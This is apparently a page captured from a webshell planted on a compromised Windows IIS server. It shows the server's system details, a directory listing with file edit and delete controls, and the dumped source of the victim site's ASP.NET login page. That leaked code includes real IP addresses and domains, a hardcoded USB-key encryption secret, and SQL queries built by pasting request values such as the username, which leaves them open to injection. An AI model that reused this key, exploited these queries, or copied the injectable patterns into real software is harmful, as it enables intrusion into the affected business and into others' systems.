Webshell Akmal archtte id
System:
Microsoft Windows NT 10.0.20348.0
Server:
Microsoft-IIS/10.0
User:
buyyou
Directory:
C:
\
MyData
\
WWW
\
asc365
\
Name
Size
Type
Actions
ASC365_CANADA
-
Directory
Rename
Delete
ASC365_Store01
-
Directory
Rename
Delete
aspnet_client
-
Directory
Rename
Delete
CompanyImage
-
Directory
Rename
Delete
TJGS_USA
-
Directory
Rename
Delete
zhijian
-
Directory
Rename
Delete
Memo.inc
0 bytes
.inc
Edit
Rename
Delete
web.config
213 bytes
.config
Edit
Rename
Delete
using System; using System.Collections.Generic; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; using wzLib; using System.Security.Cryptography; using System.Text; using System.Text.RegularExpressions; namespace App { public partial class _default : System.Web.UI.Page { public string flgYT88 = ""; public string user = ""; public string pass = ""; public static string rdn = ""; public string clientenc = ""; public string txtCheckCode = ""; public string YT88ID = ""; public string jsTxt = "{}"; public string jiaminame = ""; public string codename = ""; protected void Page_Load(object sender, EventArgs e) { if (Request.Url.AbsoluteUri.IndexOf("173.248.132.52") > 0 || Request.Url.AbsoluteUri.IndexOf("buyyou.net") > 0 || Request.Url.AbsoluteUri.IndexOf("https://topseller365.com/") > 0) { //Response.Redirect("https://topseller365.com/", true); Response.Redirect("http://156.247.13.11/CBE", true); } if (Request.Url.AbsoluteUri.IndexOf("156.247.13.11") > 0) { Response.Redirect("http://topseller365.com/", true); } user = Request["username"]; pass = Request["password"]; txtCheckCode = Request["txtCheckCode"]; flgYT88 = Request["flgYT88"]; clientenc = Request["clientenc"]; YT88ID = Request["YT88ID"]; if (string.IsNullOrEmpty(rdn)) { rdn = new System.Random().Next(0, 2147483646).ToString(); } codename = Request.Cookies["CheckCode"].Value.ToString(); if (!string.IsNullOrEmpty(user) && !string.IsNullOrEmpty(txtCheckCode)) { if (codename.ToLower() == txtCheckCode.ToLower()) { //如果在left表中可以登录,否则提示插入加密狗 user = user.Trim(); string str = "select * from OM_JIAMILEFT where empcode='" + user + "'"; Dictionary<string, string> dc1 = SQLHelper.getOneRow(str); if (dc1.Count > 0) { jsTxt = wzLib.sysProc.checkLogin(); //记录登录信息,测试是否需要改密码 chglogmsg(); } else { if (1 == TestYT88())//检测加密狗信息是否可以通过 { jsTxt = wzLib.sysProc.checkLogin(); //记录登录信息,测试是否需要改密码 chglogmsg(); } } } } } /* * 测试加密狗数据 */ private int TestYT88()//( ref string passhash) { //检测是否插入加密狗 if (flgYT88 == "1") { //检验ID是否在数据库,是否失效 string str2 = "select * from OM_JIAMIGOU where bianma='" + YT88ID + "' and state='1'"; Dictionary<string, string> dc2 = SQLHelper.getOneRow(str2); if (dc2.Count > 0)//此USBKEY有效,进行算法密钥检测 { //这里在服务器端对随机数进行同样的加密运算 //Key:即增强算法密钥,这个要与设置在加密锁中的密钥一致 //增强算法密钥可以是每一把都不相同,也可以是都相同,如果是不相同的可以根据用户名在从数据库中获取对应的增强算法密钥,可以根据安全性及自身具体情况而定,这里使用了一个固定的值 String Key = "4153433336354C74642E000000000000"; SoftKeyYT88 ytsoftkey = new SoftKeyYT88(); //rdn:要进行加密的数据 //在服务器端对数据进行加密运算 string YT88Enc = ytsoftkey.StrEnc(rdn, Key); if (YT88Enc == clientenc) //验证验证码 { jiaminame = dc2["username"]; string str = "select * from OM_JIAMIRELATION where emp = '" + user + "' and usbcode = '" + jiaminame + "'"; Dictionary<string, string> dc3 = SQLHelper.getOneRow(str); if (dc3.Count > 0) { return 1; } else { //记录一条登录错误的记录,方便查询不匹配信息。 DateTime dt = DateTime.Now; string ClientBrowser = GetBrowserMsg(); string ClientIp = GetIp(); string ClientOS = GetOS(); string sql = "insert into OM_Login (empcode,createdate,JIAMIGOUNAME,Browser,IP,OS) values('" + user + "','" + dt + "','" + jiaminame + "','" + "加密狗与登录账号不匹配" + "','" + ClientIp + "','" + ClientOS + "')"; SQLHelper.ExecuteNonQuery(sql); jsTxt = "{success:false,errors:'此加密狗" + jiaminame + "不可用!若加密狗驱动升级后仍不能登陆请联系IT部门。'}"; return 0; } } else { jsTxt = "{success:false,errors:'此加密狗已失效'}"; return 0; } } else { jsTxt = "{success:false,errors:'此加密狗已失效'}"; return 0; } } else { jsTxt = "{success:false,errors:'未插入加密狗,请插入'}"; return 0; } } /* * 可以正常登录的处理: * 1.测试是否需要修改密码 * 2.记录登录信息 */ private void chglogmsg() { string lastdate = "2017-01-01 00:00:00"; DateTime dt1 = DateTime.Now; string sql1 = "select chpassdate from OM_EMPLOYEE where empcode='" + user + "'"; Dictionary<string, string> dc = SQLHelper.getOneRow(sql1); if (dc.Count > 0) { if (dc["chpassdate"] != "") { lastdate = dc["chpassdate"]; } TimeSpan ts1 = new TimeSpan(Convert.ToDateTime(lastdate).Ticks); TimeSpan ts2 = new TimeSpan(dt1.Ticks); TimeSpan ts = ts1.Subtract(ts2).Duration(); if (ts.Days > 180) { Response.Write("<script>alert('已超过半年没有修改密码,请修改!')</script>"); } DateTime dt = DateTime.Now; string ClientBrowser = GetBrowserMsg(); string ClientIp = GetIp(); string ClientOS = GetOS(); string sql = "insert into OM_Login (empcode,createdate,JIAMIGOUNAME,Browser,IP,OS) values('" + user + "','" + dt + "','" + jiaminame + "','" + ClientBrowser + "','" + ClientIp + "','" + ClientOS + "')"; SQLHelper.ExecuteNonQuery(sql); } } public static string GetMd5Str(string ConvertString) { string md5Pwd = string.Empty; //使用加密服务提供程序 MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider(); //将指定的字节子数组的每个元素的数值转换为它的等效十六进制字符串表示形式。 md5Pwd = BitConverter.ToString(md5.ComputeHash(UTF8Encoding.Default.GetBytes(ConvertString)), 4, 8); md5Pwd = md5Pwd.Replace("-", ""); return md5Pwd; } private string GetBrowserMsg() { return HttpContext.Current.Request.Browser.Browser + HttpContext.Current.Request.Browser.Version; } private static bool IsIPAddress(string str1) { if (((str1 == null) || (str1 == string.Empty)) || ((str1.Length < 7) || (str1.Length > 15))) { return false; } string pattern = @"^\d{1,3}[\.]\d{1,3}[\.]\d{1,3}[\.]\d{1,3}$"; Regex regex = new Regex(pattern, RegexOptions.IgnoreCase); return regex.IsMatch(str1); } private string GetIp() { string str = string.Empty; str = HttpContext.Current.Request.ServerVariables["HTTP_X_FORWARDED_FOR"]; if ((str != null) && (str != string.Empty)) { if (str.IndexOf(".") == -1) { str = null; } else if (str.IndexOf(",") != -1) { str = str.Replace(" ", "").Replace("\"", ""); string[] strArray = str.Split(",;".ToCharArray()); for (int i = 0; i < strArray.Length; i++) { if ((IsIPAddress(strArray[i]) && (strArray[i].Substring(0, 3) != "10.")) && ((strArray[i].Substring(0, 7) != "192.168") && (strArray[i].Substring(0, 7) != "172.16."))) { return strArray[i]; } } } else { if (IsIPAddress(str)) { return str; } str = null; } } if ((null == str) || (string.Empty == str)) { str = HttpContext.Current.Request.ServerVariables["REMOTE_ADDR"]; } if ((str != null) && (str != string.Empty)) { return str; } return HttpContext.Current.Request.UserHostAddress; } private string GetOS() { string str = HttpContext.Current.Request.ServerVariables["HTTP_USER_AGENT"]; if (str.IndexOf("NT 4.0") > 0) { return "Windows NT "; } if (str.IndexOf("NT 5.0") > 0) { return "Windows 2000"; } if (str.IndexOf("NT 5.1") > 0) { return "Windows XP"; } if (str.IndexOf("NT 5.2") > 0) { return "Windows 2003"; } if (str.IndexOf("NT 6.0") > 0) { return "Windows Vista"; } if (str.IndexOf("NT 6.1") > 0) { return "Windows 7"; } if (str.IndexOf("NT 6.2") > 0) { return "Windows 8"; } if (str.IndexOf("NT 6.3") > 0) { return "Windows 8.1"; } if (str.IndexOf("NT 6.4") > 0) { return "Windows 10"; } if (str.IndexOf("NT 10.0") > 0) { return "Windows 10"; } if (str.IndexOf("WindowsCE") > 0) { return "Windows CE"; } if (str.IndexOf("NT") > 0) { return "Windows NT "; } if (str.IndexOf("9x") > 0) { return "Windows ME"; } if (str.IndexOf("98") > 0) { return "Windows 98"; } if (str.IndexOf("95") > 0) { return "Windows 95"; } if (str.IndexOf("Win32") > 0) { return "Win32"; } if (str.IndexOf("Linux") > 0) { return "Linux"; } if (str.IndexOf("SunOS") > 0) { return "SunOS"; } if (str.IndexOf("Mac") > 0) { return "Mac"; } if (str.IndexOf("Linux") > 0) { return "Linux"; } if (str.IndexOf("Windows") > 0) { return "Windows"; } return "未知类型"; } } }